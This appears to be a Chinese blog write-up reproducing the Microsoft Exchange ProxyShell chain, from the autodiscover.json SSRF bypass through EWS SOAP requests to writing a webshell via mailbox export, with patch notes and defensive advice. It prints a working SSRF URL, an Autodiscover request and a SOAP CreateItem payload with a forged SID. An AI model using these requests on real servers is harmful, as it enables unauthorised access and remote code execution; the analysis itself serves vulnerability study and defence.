【安全漏洞】简要分析复现了最近的ProxyShell利用链
前言
近日,有研究员公布了自己针对微软的Exchange服务的攻击链的3种利用方式。微软官方虽然出了补丁,但是出于种种原因还是有较多用户不予理会,导致现在仍然有许多有漏洞的服务暴露在公网中,本文主要在原理上简要分析复现了最近的ProxyShell利用链。
1.ProxyLogon: The most well-known pre-auth RCE chain
2.ProxyOracle: A plaintext-password recovery attacking chain
3.ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021
漏洞复现及分析
复现环境:
· Exchange Server 2016 Builder 15.1.1531
受影响版本:
· Exchange Server 2013 Versions < Builder 15.0.1497.012
· Exchange Server 2016 CU18 < Builder 15.1.2106.013
· Exchange Server 2016 CU19 < Builder 15.1.2176.009
· Exchange Server 2019 CU7 < Builder 15.2.0721.013
利用链大致分两个阶段,ACL绕过和在绕过前提下的wsdl的SOAP接口利用,最终能导致RCE,利用效果图如下:
1.ACL绕过
在ProxyLogon就存在SSRF,而ProxyShell的SSRF利用点稍有不同,但是利用原理还是一致的,在Exchange 端挂调试下断点,调试dll代码如下,可知URL前后解析方式如下:
解析前URL
解析后URL
https://Exchange:443/autodiscover/autodiscover.json?a=axx@foo.com/autodiscover/autodiscover.xml↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
https://Exhcage:444/autodiscove/autodiscover.xml
从结果看443端口转向 444端口,那么现在再去看在服务端Exchange的web站点分布情况,页面是跑在IIS组件上的,故而看IIS上的站点分布,存在前台服务和后台服务,即存在80到81、443到444的映射关系。
【安全资料】
前台服务
后台服务
现在看利用的本质就是在前台服务中存在校验缺失,导致外面发起的请求可以以前台服务的进程作为跳板进行后台服务资源的访问。
从代码上看
Microsoft.Exchange.FrontEndHttpProxy.dll【安全资料】
伪代码如下
GetClientUrlForProxy(){If(isExplicitLogoRequest&&IsAutodiscoverV2Request(base.url))
RemoveExplicitLogoFromUrlAbsoluteUri(AbsoluteUri,ExplicitLogoaddress)
}
存在3个函数
1. GetClientUrlForProxy
2. isExplicitLogoRequest
3. IsAutodiscoverV2Request
IsAutodiscoverV2Request是关键点,如上图所示,在于/autodiscover.json,如果IsAutodiscoverV2Request存在就可导致URL删除中间部分生成新的uri从而产生了如下解析,导致了SSRF
2.接口利用
Exchange的安装目录如下,可见软件自身就设计了有较多的接口用于业务需求,攻击方式正是基于如上解析方式进行ACL权限绕过,访问铭感资源(想起几年前的某酒店因为wsdl接口外露,被人发现可直接写文件的接口直接RCE的情况),对于接口的利用在于wsdl的SOAP XML请求的参数要求及报文格式,利用得当的情况下,可在未授权情况下获取配置信息(LegacyDN、SID、邮箱账户)、读写文件、命令交互等。
接口利用截图
以获取LegacyDN信息为例
向/autodiscover/autodiscover.json?a=foo@foo.com/autodiscover/autodiscover.xml发送如下xml请求可返回LegacyDN内容
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="https://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>mara@contoso.com</EMailAddress><AcceptableResponseSchema>https://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request>
</Autodiscover>
而里面所需的EMailAddress参数如果未知,可使用官方包含的默认特殊系统邮箱。
xml格式官方文档连接如下
https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-get-user-settings-from-exchange-by-using-autodiscover【安全资料】
其他接口对应的请求测试如下所示
获取SID
获取邮箱
写入文件
实现写入文件的思路大致为调用邮件接口发送邮件,在调用导出邮件接口,向指定系统路径(iis根目录)写入webshell。由于邮件内容为PST格式,IIS解析不了,需要二次解码,即发送之前先编码一次,导出的时候在解码成正常格式即可,【安全资料】
编码方式官方文档链接如下(https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd)。
在写入文件的时候还需要构造cookie才能进行调用访问,如果没有cookie会返回401,所幸构造的所需要的内容可以通过SSRF获取,然后在分析调试代码在手工构造,发送邮件然后导出邮件。【安全资料】
<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><t:RequestServerVersion Version="Exchange2016" /><t:SerializedSecurityContext><t:UserSid>S-1-5-21-1692751536-334164737-1685896678-16656</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>tsjsupqgmdciximd</t:Subject><t:Body BodyType="HTML">hello by xyy</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk=</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>administartor@tamail.com</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body>
</soap:Envelope>
调试代码如下:
Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll
序列化解密X-Rps-CAT数值的代码如下
【安全资料】
修复原理
修复前
修复后
可以明显看出删除了IsAutodiscoverV2Request判断防止SSRF的发生。
【安全资料】
总结
SSRF漏洞看似危害不大,但是只要后续攻击链够完整,一样能发挥关键作用,就像这次的绕过加利用,又或是之前看过SSRF到内网漫游的利用。从流量防御的角度来看(毕竟官方的补丁也不是那么及时),找准利用的入口点(autodiscover.json)以及其他能造成危害的接口(/ews、/ecp、/autodiscover、/powershell等等)设置相应的防御手段即可。从漏洞挖掘的角度来看,动态调试永远是清晰体现流量的生命周期的一个不错的方式。
有在学网络安全的朋友可以关注私信我哦!!!
【安全漏洞】简要分析复现了最近的ProxyShell利用链相关推荐
- log4j漏洞原理分析复现检测复盘
凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...
- Log4j2高危漏洞CNVD-2021-95914分析复现修复
漏洞描述 安全公告编号:CNTA-2021-0033 安全公告编号:CNTA-2021-0032 2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执 ...
- Cisco ASA/FTD未授权文件删除漏洞简要分析
漏洞简述 思科官方在2020年5月6号发布Cisco Adaptive Security Appliance(ASA)和Firepower Threat Defense(FTD)软件web服务目录遍历 ...
- Shellshock(破壳)系列漏洞简要分析及检测
1.漏洞简介 Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell ...
- (php)泛微E-Office文件上传漏洞(原理分析+复现+批量检测)
漏洞描述 泛微e-office是泛微旗下的一款标准协同移动办公平台. CNVD-2021-49104 由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包 ...
- Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复
前言 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve为CVE-20 ...
- FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
最新文章
- .net core Entity Framework 与 EF Core
- Load data local infile 实验报告
- JS和C#访问遇到QueryInterface调用出错
- cacti linux cpu datasource,Cacti监控Cisco CPU 以及内存
- 我使用 html 反向输出自己打自己(7)
- Jupyter notebook的正确打开方式
- vlan跨交换机 udp广播_网络交换VLAN基础入门
- 用 Java 语言,写一个植物大战僵尸简易版!
- c4d流体插件_C4D常用最火14款插件合集,总有一款你想要的!
- android 清空剪贴板,清空剪贴板app
- 1125: 上三角矩阵的判断
- 0008:《以色列:一个国家的诞生》读后感
- sql函数RIGHT的简单用法
- Nano Measurer 1.2.5 for win 纳米颗粒粒度分析
- RocketMQ的消费者消息重试和生产者消息重投
- GTD方法在项目管理中的实践
- 研二导师画大饼,不给时间实习,咋办
- 运维小知识之CDN内容分发网络原理解析
- Python_Project_nuitka_inno_setup
- 重新定义办公 “京东•京点”智慧办公解决方案正式发布
热门文章
- ML之ME/LF:机器学习之风控业务中常用模型评估指标PSI(人群偏移度指标)的的简介、使用方法、案例应用之详细攻略
- 成功解决numpy.ndarray格式类型转数据为list格式数据带有中括号(一行代码搞定!)
- Python:Python多种集成开发环境(IDE,编译器)的简介、安装、入门、使用方法之详细攻略
- Python语言学习:复杂函数(yield/@property)使用方法、案例应用之详细攻略
- 成功解决SQL server服务,远程过程调用失败
- Crawler:关于爬虫的简介、安装、使用方法之详细攻略
- 发表国外期刊注意事项
- Java遍历指定文件夹,在屏幕打印所有以abc结尾的文件
- Xcode自带工具symbolicatecrash解析Crash文件
- 【bzoj4870】[Shoi2017]组合数问题 dp+快速幂/矩阵乘法